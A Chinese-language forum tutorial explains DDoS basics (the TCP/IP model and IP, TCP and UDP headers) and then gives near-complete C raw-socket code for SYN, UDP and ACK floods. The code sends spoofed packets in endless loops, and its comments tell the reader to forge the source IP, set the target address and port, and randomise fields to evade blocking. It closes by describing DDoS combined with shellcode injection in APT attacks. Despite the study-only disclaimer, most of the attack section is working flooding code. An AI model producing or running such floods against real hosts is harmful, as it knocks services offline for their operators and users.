DDOS是当今互联网最基础,成本最低的攻击方式之一,但是会给基础设施造成致命威胁。本文将从零开始介绍DDOS的基本原理,同时将使用C语言进行基础代码实现。
目录
一.网络基础架构
二.常用网络协议解析
三.常见DDOS攻击类型及代码实现
一.网络基础架构
网络常用的模型有两种,分别是OSI七层模型和TCP/IP四层模型。OSI模型将网络分为应用层,表示层,会话层,传输层,网络层,数据链路层,物理层。但是在真实使用中,通常使用TCP/IP模型,包括应用层,传输层,网络层,网络接口层。下图是TCP/IP模型及常见协议。
| 应用层(HTTP,FTP,DNS,SSH等) |
| 传输层(TCP,UDP) |
| 网络层(IP,ICMP) |
| 网络接口层(Ethrnet,PPP,ARP) |
然后介绍IP数据包的构成。从应用层开始,首先只有应用层数据。当数据包进入传输层时,前面会添加TCP头或者UDP头。当达到网络层时,前面回添加IP头。然后到达链路层时,会添加以太网头。最终由网卡转化为比特流发送出去。当然在DDOS中,我们只需要关心IP头和TCP/UDP头即可,以太网帧会由内核自动补全。下面是完整数据包的结构示意图。
| 以太网帧头 | IP头 | TCP/UDP头 | 应用层数据 | 以太网帧尾 |
二.常用网络协议解析
1.IP协议
首先介绍网络层的IP协议,IP协议负责通过路由,将数据从一台主机传递到另一台。其发送前不需要建立连接,所以不能保证数据一定送达,但会尽最大努力交付。所以IP协议不关心数据本身,只关心来源(源IP地址)和目的地(目的IP地址)。
IP地址是IP协议的统一地址格式,目前仍然主要使用IPv4。IPv4用32位bit表示IP地址,同时将地址分为A,B,C,D,E5类,可以通过IP地址的第一个十进制数区分。同时IP地址必须配合子网掩码使用,子网掩码的1对应IP的网络位,0对应IP的主机位。
下面介绍IP头的结构,在进行DDOS攻击时必须使用原始套接字手动构建IP头。IP头最小20字节,最大60字节。主要包括下面的几个部分:
- 版本(4bit):IPv4就写4,IPv6就写6。
- 头长度(4bit):最小写5(5*4=20字节),最大是15(15*4=60字节)。
- 总长度(16bit):整个IP数据包多大字节(IP头+TCP/UDP头+应用层数据)。
- 生存时间(8bit):每过一个路由就减1,防止出现环路问题。
- 源IP(32bit) / 目的IP(32bit):DDOS攻击中,必须进行伪造源IP,从而绕过简单白名单。
下面是使用原始套接字构建IP头的代码,部分字段需要修改。
- ip_header->version = 4; //版本,固定
- ip_header->ihl = 5; //一般为5,固定
- ip_header->tos = 0; //服务类型,固定
- //数据总长度,根据数据写
- ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len);
- ip_header->id = htons(6666); //数据包分片,通常改,模拟不同包会分成不同的片数
- ip_header->frag_off = 0; //不分片,固定
- ip_header->ttl = 64; //常见TTL值,固定
- ip_header->protocol = IPPROTO_TCP; //按照协议修改(TCP/UDP)
- ip_header->saddr = inet_addr("192.168.1.100"); //源IP,通常需要伪造
- ip_header->daddr = inet_addr("192.168.1.200"); //想要攻击的目标IP
- //会自动算,但是改字段后必须重算
- ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
复制代码
2.TCP协议
下面介绍传输层的的TCP协议,是网络最可靠的传输协议。通信前必须进行三次握手建立连接,通信结束后通过四次挥手断开。如果丢包会进行重传,保障数据可靠交付。在网络层利用IP地址定位主机后,TCP协议通过端口号区分同一主机的不同进程,端口号的范围是0~65535。而DDOS中重点使用三次捂手进行攻击,下面重点介绍三次握手的流程。
- 第一次握手(SYN包),客户端向服务端发出请求数据包,包中的标志位SYN=1,ACK=0,同时客户端随机生成初始序列client_seq,同时ack_seq=0。服务器验证包格式合法后,分配半连接资源,放入SYN队列中。
- 第二次握手,服务器向客户端确认收到请求,并同步自己的序列号。包中SYN=1,ACK=1,然后服务器随机生成自己的序列号server_seq,同时ack_seq=client_seq+1,表示已收到。
- 第三次握手(ACK包),客户端向服务器确认,正式建立连接。包中SYN=0,ACK=1,同时seq=ack_seq,自己的ack_seq=server_seq+1,表示已收到。服务器收到包后,从半连接变为全连接,同时请求SYN队列移动到accept队列,就可传输数据了。
下面介绍一下TCP头的结构,TCP头长度最小20字节,最大60字节,主要包括下面的部分:
- 源端口(16bit):可填写随机本机高位端口。
- 目的端口(16bit):负责进程寻找,一般集中打击单一端口(80,443,22等)。
- 系列号SEQ(32bit):数据流编号,一般随意填写。
- 确认号ACK(32bit):确认是否收到包,一般随意填写。
- 6个控制标志位(主要关注两个即可):SYN,ACK。
- 窗口大小:主要负责进行流量控制,一般随便填写。
下面是使用原始套接字构建TCP头的代码,其中的SYN和ACK需根据攻击类型修改:
- tcp_header->source = htons(9999); //源端口
- tcp_header->dest = htons(8080); //目的端口
- tcp_header->seq = htonl(123456789);//序列号SEQ
- tcp_header->ack_seq = htonl(0); //确认号ACK
- tcp_header->doff = 5; //TCP头长度,最小20字节,固定为5
- //6个控制标志位
- tcp_header->fin = 0; // 结束连接标志,置0
- tcp_header->syn = 1; // 同步连接标志,根据攻击类型改
- tcp_header->rst = 0; // 重置连接标志,置0
- tcp_header->psh = 0; // 推送数据标志,置0
- tcp_header->ack = 0; // 确认标志,根据攻击类型改
- tcp_header->urg = 0; // 紧急指针标志,置0
- tcp_header->window = htons(65535); //窗口大小
- // TCP校验和,先置0,后续用伪头部计算
- tcp_header->check = 0;
- tcp_header->urg_ptr = 0;//紧急指针
复制代码
3.UDP协议
下面介绍传输层的的UDP协议,通讯前无需建立连接,直接发送数据,所以不保证数据一定到达,丢包不会重传。但头部短小,传输效率高。同样适用端口定位主机进程。下面介绍UDP头结构:
- 源端口(16bit):可填写随机本机高位端口。
- 目的端口(16bit):负责进程寻找,一般集中打击单一端口(80,443,22等)。
- 数据报长度(16bit):整个UDP包多少字节(UDP头+应用层数据)。
- 校验和(16bit):攻击包一般填0,主动跳过校验。
下面是用原始套接字编写的UDP头代码:
- udp_header->source = htons(9999); //源端口,需修改
- udp_header->dest = htons(8080); //目的端口,填要打击的服务器端口
- udp_header->len = htons(sizeof(struct udphdr) + strlen(msg)); //数据报总长度
- udp_header->check = 0; //校验和,一般置0
复制代码
三.常见DDOS攻击类型及代码实现
在具有上述网络架构及协议基础后,我们开始探讨DDOS的常见攻击类型。DDOS常见攻击类型包括SYN Flood,ACK Flood,UDP Flood,HTTP Flood。当然还有现在不怎么使用的ICMP Flood,或者更多类型。下面介绍传输层的三种基础类型。
1.SYN Flood
SYN Flood主要使用TCP协议的第一次握手的SYN包,因而得名。在TCP的第一次握手中,客户端需要向服务端发送一个SYN包,其SYN=1,用来请求连接。而SYN Flood就是客户端大量发送SYN包,但只与服务器进行第一次握手连接,将服务器的半连接队列占满,从而导致正常的SYN请求服务器也无法处理。
首先进行原始套接字的创建,并加上异常处理。
- int raw_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
- if(raw_sock == -1){
- perror("创建raw socket失败!\n");
- exit(EXIT_FAILURE);
- }
复制代码
然后是创建一个缓冲区,并对这个缓冲区进行IP头,TCP头,数据等部分的划分和构造。
- char packet_buf[1024] = {0};
- struct iphdr *ip_header = (struct iphdr*)packet_buf;
- struct tcphdr *tcp_header = (struct tcphdr*)(packet_buf + sizeof(struct iphdr));
- char *data = packet_buf + sizeof(struct iphdr) + sizeof(struct tcphdr);
- const char *msg = "SYN FLOOD!";
- strcpy(data, msg);
复制代码
下面就是手动构建IP头和TCP头,构造原理上面已经讲过了。
- ip_header->version = 4;
- ip_header->ihl = 5;
- ip_header->tos = 0;
- ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(msg));
- ip_header->id = htons(6666); //建议加上随机化处理
- ip_header->frag_off = 0;
- ip_header->ttl = 64;
- ip_header->protocol = IPPROTO_TCP;
- ip_header->saddr = inet_addr("192.168.1.100");//使用时需要修改或伪造
- ip_header->daddr = inet_addr("192.168.1.200");//使用时需要修改或伪造
- ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
复制代码- tcp_header->source = htons(9999); //建议端口随机化
- tcp_header->dest = htons(8080); //目标端口需修改
- tcp_header->seq = htonl(123456789); //建议随机化
- tcp_header->ack_seq = htonl(0);
- tcp_header->doff = 5;
- tcp_header->fin = 0;
- tcp_header->syn = 1; //必须为1
- tcp_header->rst = 0;
- tcp_header->psh = 0;
- tcp_header->ack = 0;
- tcp_header->urg = 0;
-
- tcp_header->window = htons(65535);
- tcp_header->check = 0;
- tcp_header->urg_ptr = 0;
复制代码
下面则是计算填充TCP报文校验和的部分。
- struct {
- uint32_t saddr;
- uint32_t daddr;
- uint8_t zero;
- uint8_t protocol;
- uint16_t tcp_len;
- } pseudo_hdr = {ip_header->saddr,ip_header->daddr,0,IPPROTO_TCP,htons(sizeof(structtcphdr)+strlen(msg))};
- char tcp_check_buf[1024] = {0};
- int pseudo_tcp_len = sizeof(pseudo_hdr) + sizeof(struct tcphdr) + strlen(msg);
- memcpy(tcp_check_buf, &pseudo_hdr, sizeof(pseudo_hdr));
- memcpy(tcp_check_buf + sizeof(pseudo_hdr), tcp_header, sizeof(struct tcphdr)+strlen(msg));
- tcp_header->check = checksum((unsigned short*)tcp_check_buf, pseudo_tcp_len);
复制代码
最后就是通过循环不断向服务器发送SYN包,每发送1000个包会自动进行打印。
- struct sockaddr_in dest_addr;
- memset(&dest_addr, 0, sizeof(dest_addr));
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_addr.s_addr = ip_header->daddr;
- int count = 0;
- while(1){
- ssize_t send_len = sendto(raw_sock,packet_buf,ntohs(ip_header->tot_len),0,
- (struct sockaddr*)&dest_addr,sizeof(dest_addr));
- if (send_len < 0) {
- perror("发送数据包失败");
- close(raw_sock);
- exit(EXIT_FAILURE);
- }
- count++;
- if (count % 1000 == 0) {
- printf("已发送 %d 个SYN数据包\n", count);
- }
- }
- close(raw_sock);
复制代码
2.UDP Flood
UDP Flood顾名思义就是使用UDP协议向服务器发送大量UDP包,UDP协议无需连接,效率高,因此UDP Flood攻击的效果也很简单粗暴。基本过程和上面的SYN Flood差不多。
首先还是创建原始套接字,然后进行IP包的IP头和UDP头的缓冲区构建。
- int raw_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
- if(raw_sock == -1){
- perror("创建raw socket失败!\n");
- exit(EXIT_FAILURE);
- }
- char packet_buf[1024] = {0};
- struct iphdr *ip_header = (struct iphdr*)packet_buf;
- struct udphdr *udp_header = (struct udphdr*)(packet_buf + sizeof(struct iphdr))char *data = packet_buf + sizeof(struct iphdr) + sizeof(struct udphdr);
- const char *msg = "UDP FLOOD";
- strcpy(data, msg);
复制代码
然后手动构造IP头和UDP头。
- ip_header->version = 4;
- ip_header->ihl = 5;
- ip_header->tos = 0;
- ip_header->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(msg);
- ip_header->id = htons(6666); //建议随机化
- ip_header->frag_off = 0;
- ip_header->ttl = 64;
- ip_header->protocol = IPPROTO_UDP;
- ip_header->saddr = inet_addr("192.168.1.100"); //填写伪造源IP
- ip_header->daddr = inet_addr("192.168.1.200"); //要攻击的目的IP
- ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
- udp_header->source = htons(9999); //建议端口随机化
- udp_header->dest = htons(8080); //要攻击的目标端口
- udp_header->len = htons(sizeof(struct udphdr) + strlen(msg));
- udp_header->check = 0;
复制代码
下面就是进行循环向服务器发出UDP的包的代码。
- struct sockaddr_in dest_addr;
- memset(&dest_addr, 0, sizeof(dest_addr));
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_addr.s_addr = ip_header->daddr;
- int count = 0;
- while(1){
- ssize_t send_len = sendto(raw_sock,packet_buf,ip_header->tot_len,0,
- (struct sockaddr*)&dest_addr,sizeof(dest_addr));
- if (send_len < 0) {
- perror("发送数据包失败");
- close(raw_sock);
- exit(EXIT_FAILURE);
- }
- count++;
- if (count % 100 == 0) {
- printf("已发送 %d 个UDP数据包\n", count);
- }
- }
- close(raw_sock);
复制代码
3.ACK Flood
ACK Flood主要使用TCP的第三次握手的ACK包,其主要负责向服务器确认,并正式建立连接。ACK包是由客户端向服务器发送,用来回应第二次握手时服务器发送的包。所以ACK包与前面两个有所不同,因为SYN包和UDP包本质都是客户端主动发送的,ACK包则是被动回应。如果ACK包内容固定的话,会直接被服务器发现并封禁。
首先还是创建套接字,构建数据包缓冲区结构,然后填充IP头。
- int raw_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
- if(raw_sock == -1){
- perror("创建raw socket失败!");
- exit(EXIT_FAILURE);
- }
- char packet_buf[1024] = {0};
- struct iphdr *ip_header = (struct iphdr*)packet_buf;
- struct tcphdr *tcp_header = (struct tcphdr*)(packet_buf + sizeof(struct iphdr));
- char *data = packet_buf + sizeof(struct iphdr) + sizeof(struct tcphdr);
- const char *msg = "ACK FLOOD!";
- strcpy(data, msg);
- ip_header->version = 4;
- ip_header->ihl = 5;
- ip_header->tos = 0;
- ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(msg));
- ip_header->id = htons(6666);
- ip_header->frag_off = 0;
- ip_header->ttl = 64;
- ip_header->protocol = IPPROTO_TCP;
- ip_header->saddr = inet_addr("192.168.1.100");
- ip_header->daddr = inet_addr("192.168.1.200");
- ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
复制代码
然后下面直接进入循环,每次都创建不同的TCP头,然后发送ACK包。
- struct sockaddr_in dest_addr;
- memset(&dest_addr, 0, sizeof(dest_addr));
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_addr.s_addr = ip_header->daddr;
- //初始化随机数种子,使用时间戳当种子
- srand((unsigned int)time(NULL));
- int count = 0;
- while(1){ //必须每次都构建不同的TCP头
- tcp_header->source = htons(rand() % 65535 + 1);//必须进行随机化
- tcp_header->dest = htons(8080);
- tcp_header->seq = htonl(rand());
- tcp_header->ack_seq = htonl(rand()); //必须进行随机化
- tcp_header->doff = 5;
- tcp_header->fin = 0;
- tcp_header->syn = 0;
- tcp_header->rst = 0;
- tcp_header->psh = 0;
- tcp_header->ack = 1; //开启ACK
- tcp_header->urg = 0;
- tcp_header->window = htons(65535);
- tcp_header->check = 0;
- tcp_header->urg_ptr = 0;
- struct { //TCP校验代码
- uint32_t saddr;
- uint32_t daddr;
- uint8_t zero;
- uint8_t protocol;
- uint16_t tcp_len;
- } pseudo_hdr = {ip_header->saddr,ip_header->daddr,0,IPPROTO_TCP,htons(sizeof(struct tcphdr) + strlen(msg))};
- char tcp_check_buf[1024] = {0};
- int pseudo_tcp_len = sizeof(pseudo_hdr) + sizeof(struct tcphdr) + strlen(msg);
- memcpy(tcp_check_buf, &pseudo_hdr, sizeof(pseudo_hdr));
- memcpy(tcp_check_buf + sizeof(pseudo_hdr), tcp_header, sizeof(struct tcphdr) + strlen(msg));
- tcp_header->check = checksum((unsigned short*)tcp_check_buf, pseudo_tcp_len);
- ssize_t send_len = sendto(raw_sock,packet_buf,ntohs(ip_header->tot_len),0,
- (struct sockaddr*)&dest_addr,sizeof(dest_addr));
- if (send_len < 0) {
- perror("发送数据包失败");
- close(raw_sock);
- exit(EXIT_FAILURE);
- }
- count++;
- if (count % 100 == 0) {
- printf("已发送 %d 个ACK数据包\n", count);
- }
- usleep(1);//建议添加延时,ACK包开销巨大,防止内核过载
- }
- close(raw_sock);
复制代码
最后附上一个校验的辅助函数:
- unsigned short checksum(unsigned short *buf, int len) {
- unsigned long sum = 0;
- for (; len > 1; len -= 2) {
- sum += *buf++;
- }
- if (len == 1) {
- sum += *(unsigned char*)buf;
- }
- sum = (sum >> 16) + (sum & 0xFFFF);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
复制代码
上面就介绍了基础的DDOS原理及攻击实现,真实中的DDOS攻击还会采用DNS等协议进行攻击放大,或者利用畸形协议进行慢速消耗CPU,或者直接进行多网络层级的混合攻击等。
而且在真实的APT中,DDOS往往和其他攻击手段共同配合。攻击团队首先使用DDOS将目标的服务器的防火墙等防护手段瘫痪,从而制造运维盲区,然后趁机将预先写好的shellcode进行注入,然后利用其夺得服务器权限或完成挂马操作。
声明:本文内容只能用于学习研究,任何人不得在未经允许的情况下,对他人进行网络攻击。一切利用本文内容引发的风险和法律责任,均由行为人自行承担后果,与本文作者无关。
本人新手,如有错误,希望各位大佬指正。